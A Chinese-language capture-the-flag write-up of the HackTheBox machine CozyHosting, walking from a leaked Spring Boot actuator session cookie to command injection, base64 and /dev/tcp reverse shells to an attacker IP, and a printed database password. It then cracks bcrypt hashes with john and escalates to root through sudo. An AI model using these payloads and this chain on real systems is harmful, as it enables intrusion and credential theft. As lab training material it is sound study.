HTB - CozyHosting - WriteUp
CozyHosting
前言:抓紧赛季末上一波分,错过开vip才能练了
信息收集
扫描看看端口的开放情况,开了22,80,5555。这里fscan显示会跳转到cozyhosting.htb
。
那就需要修改hosts文件,将cozyhoting.htb
解析到ip即可访问到80端口的站点:
目录探测
用dirsearch发现泄露了/actuator
目录,那应该就是使用的springboot框架。
敏感信息泄露
首先去访问/actuator/env
。如下很多信息都被*号脱敏,尝试通过/actuator/heapdump
或者heapdump
去下载JVM堆栈信息但都失败了。
但是在访问到/actuator/sessions
的时候发现了cookie。
抓包改两次JSESSIONID也行,但用插件修改cookie登录上去更快一些。
进入后台的面板,里面有一个貌似可以执行ssh命令的地方,那就有大概率存在命令注入。
命令注入
base64绕过
抓包,尝试一下。出现错误会返回ssh的命令帮助。
经过几种尝试发现这样可以执行命令:
直接使用反弹shell的语句他提示不能包含空格,url编码也不行。
绕过空格就用${IFS}
替换变量,再经过一次url编码,但还是不成。
尝试用base64编码之后再执行可以成功反弹shell。
;`echo${IFS}"c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjEvOTk5OSAwPiYx"|base64${IFS}-d|bash;`
分段反向shell
然后还学习到一个新姿势,查了一些资料。首先使用如下命令来创建一个与攻击者的tcp连接,并将标准输入(0)重定向到这个连接,sh是一个子shell的标记,用来在括号内执行命令。
;`(sh)0>/dev/tcp/10.10.14.21/9999`
之后执行如下将标准输出(1)和标准错误(2)都重定向到标准输入(0),exec会替代当前shell进程,不会创建一个新进程。
exec >&0
最后再使用下面的启动一个新的交互式bash,将输出记录到/dev/null中就会被抛弃。这样执行的命令不会在目标上留下任何痕迹了。
script /dev/null -c bash
最后成功反弹shell.
反编译jar包
基础的信息收集完之后没有发现有其他网段,当前目录下没有user flag但是有一个jar包,发现有python环境就直接下载下来。
将jar包放到一个目录下,创建一个用来存放反编译后的文件的目录。之后找到java-decompiler.jar的位置,使用高版本的jdk去执行如下:
C:\Users\admin\.jdks\openjdk-20.0.2\bin\java.exe -cp "D:\software\jetbrains\apps\IDEA-U\ch-0\232.8660.185\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true .\cloudhosting-0.0.1.jar .\cloudhosting\
敏感信息泄露
在设置的目录里面解压那个jar包,在idea中打开搜索一些关键字,找找配置文件,就翻到了数据库的连接账号和密码。这里还可以看到他使用的是cozyhosting
这个库。
连接postgres
可以看到postgres的服务是开着的。
连接上数据库,列出的有两个表格一个host和一个user,显然要关注user表,查询得到的加密字符串一眼bcrypt。
app@cozyhosting:/app$ psql -h localhost -p 5432 -U postgres -d cozyhosting
psql -h localhost -p 5432 -U postgres -d cozyhosting
Password for user postgres: Vg&nvzAQ7XxR
psql (14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.
cozyhosting=# \dt
\dt
WARNING: terminal is not fully functional
Press RETURN to continue
List of relations
Schema | Name | Type | Owner
--------+-------+-------+----------
public | hosts | table | postgres
public | users | table | postgres
(2 rows)
(END)q
cozyhosting=#
cozyhosting=# select * from users;
select * from users;
WARNING: terminal is not fully functional
Press RETURN to continue
name | password | role
-----------+--------------------------------------------------------------+-------
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)
(END)q
cozyhosting=#
cozyhosting=#
密码破解
想先爆破一下kanderson用户的但是出不来,想了想有可能是个测试用户,在idea中去搜索关键字找到了他的密码。
接着对admin进行破解,得到密文:manchesterunited
┌──(root㉿Lockly)-[/mnt/c/Users/admin]
└─# john -w=/usr/share/wordlists/rockyou.txt admin
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
manchesterunited (?)
1g 0:00:00:19 DONE (2023-09-11 16:00) 0.05141g/s 144.3p/s 144.3c/s 144.3C/s onlyme..keyboard
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
ssh连接
直接连ssh失败了,密码一个个敲了三遍都是错的。可能不是这个用户的。
回去看一下/etc/passwd,发现这台机器里面的用户有app, josh, postgres和root。
用josh连接成功,在当前目录下就有user flag。
提权
linpease探测
上传linpease搜集一些信息,发现sudo有suid滥用
suid滥用提权
直接去gtfobins上面找到命令提权。
root flag在/root目录下面,flag都到手了完结撒花。